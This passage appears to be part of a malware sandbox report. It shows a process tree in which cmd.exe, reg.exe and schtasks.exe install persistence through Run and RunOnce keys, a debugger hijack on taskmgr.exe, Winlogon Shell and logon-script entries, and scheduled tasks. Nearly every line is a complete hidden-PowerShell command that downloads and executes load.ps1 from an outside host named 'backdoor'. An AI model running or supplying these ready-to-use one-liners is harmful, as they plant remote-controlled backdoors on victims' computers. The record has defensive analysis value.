            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
            2⤵
              PID:2348
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                3⤵
                • Adds Run key to start application
                PID:112
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
              2⤵
                PID:5172
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                  3⤵
                  • Adds Run key to start application
                  PID:3380
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                2⤵
                  PID:5260
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                    3⤵
                    • Event Triggered Execution: Image File Execution Options Injection
                    PID:3908
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                  2⤵
                    PID:4556
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                      3⤵
                      • Adds Run key to start application
                      PID:1132
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                    2⤵
                      PID:456
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                        3⤵
                        • Modifies WinLogon for persistence
                        PID:4180
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                      2⤵
                        PID:5448
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                          3⤵
                          • Event Triggered Execution: Image File Execution Options Injection
                          PID:3784
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                        2⤵
                        • Executes a command shell one-liner
                        PID:5320
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                          3⤵
                          • Registers new Windows logon scripts automatically executed at logon.
                          PID:2148
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                        2⤵
                          PID:5296
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                            3⤵
                            • Modifies WinLogon for persistence
                            PID:5048
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /sc onlogon /f
                          2⤵
                          • Executes a command shell one-liner
                          PID:5812
                          • C:\Windows\system32\schtasks.exe
                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /sc onlogon /f
                            3⤵
                              PID:3004
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                            2⤵
                              PID:216
                              • C:\Windows\system32\reg.exe
                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                3⤵
                                • Registers new Windows logon scripts automatically executed at logon.
                                PID:5944
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /sc onlogon /f
                              2⤵
                                PID:5700
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /sc onlogon /f
                                  3⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:464
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /sc minute /mo 5 /f
                                2⤵
                                  PID:2132
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /sc minute /mo 5 /f
                                    3⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:5456
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                  2⤵
                                    PID:1368
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                      3⤵
                                      • Scheduled Task/Job: Scheduled Task
                                      PID:880
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                    2⤵
                                    • Executes a command shell one-liner
                                    PID:3920
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                      3⤵
                                      • Adds Run key to start application
                                      PID:3372
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                    2⤵
                                      PID:5240
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                        3⤵
                                        • Adds Run key to start application
                                        PID:6204
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                      2⤵
                                        PID:5596
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                          3⤵
                                          • Adds Run key to start application
                                          PID:6240
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                        2⤵
                                          PID:1116
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                            3⤵
                                            • Adds Run key to start application
                                            PID:6308
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                          2⤵
                                          • Executes a command shell one-liner
                                          PID:1272
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                            3⤵
                                            • Event Triggered Execution: Image File Execution Options Injection
                                            PID:1992
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                          2⤵
                                            PID:5752
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                              3⤵
                                              • Adds Run key to start application
                                              PID:6372
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                            2⤵
                                              PID:3840
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                3⤵
                                                • Adds Run key to start application
                                                PID:6944
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                              2⤵
                                                PID:5540
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                  3⤵
                                                  • Modifies WinLogon for persistence
                                                  PID:6800
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                2⤵
                                                  PID:1228
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                    3⤵
                                                    • Event Triggered Execution: Image File Execution Options Injection
                                                    PID:6736
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                  2⤵
                                                    PID:5472
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                      3⤵
                                                      • Registers new Windows logon scripts automatically executed at logon.
                                                      PID:6436
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                    2⤵
                                                    • Executes a command shell one-liner
                                                    PID:3328
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                      3⤵
                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                      PID:6768
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                    2⤵
                                                      PID:5776
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                        3⤵
                                                        • Modifies WinLogon for persistence
                                                        PID:1500
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /sc onlogon /f
                                                      2⤵
                                                        PID:3416
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /sc onlogon /f
                                                          3⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:6532
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                        2⤵
                                                          PID:5656
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                            3⤵
                                                            • Modifies WinLogon for persistence
                                                            PID:4440
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                          2⤵
                                                            PID:4620
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                              3⤵
                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                              PID:5312
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                            2⤵
                                                              PID:1164
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                3⤵
                                                                • Scheduled Task/Job: Scheduled Task
                                                                PID:4380
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                              2⤵
                                                                PID:5488
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                  3⤵
                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                  PID:2368
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /sc onlogon /f
                                                                2⤵
                                                                  PID:6120
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /sc onlogon /f
                                                                    3⤵
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2880
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                  2⤵
                                                                    PID:5796
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                      3⤵
                                                                      • Scheduled Task/Job: Scheduled Task
                                                                      PID:6312
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /sc onlogon /f
                                                                    2⤵
                                                                      PID:6116
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /sc onlogon /f
                                                                        3⤵
                                                                        • Scheduled Task/Job: Scheduled Task
                                                                        PID:5144
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                      2⤵
                                                                      • Executes a command shell one-liner
                                                                      PID:536
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                        3⤵
                                                                        • Adds Run key to start application
                                                                        PID:2656
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                      2⤵
                                                                        PID:6192
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                          3⤵
                                                                          • Scheduled Task/Job: Scheduled Task
                                                                          PID:1404
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                        2⤵
                                                                          PID:6292
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                            3⤵
                                                                            • Adds Run key to start application
                                                                            PID:1040
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')\"" /f
                                                                          2⤵
                                                                            PID:6488
                                                                            • C:\Windows\system32\reg.exe
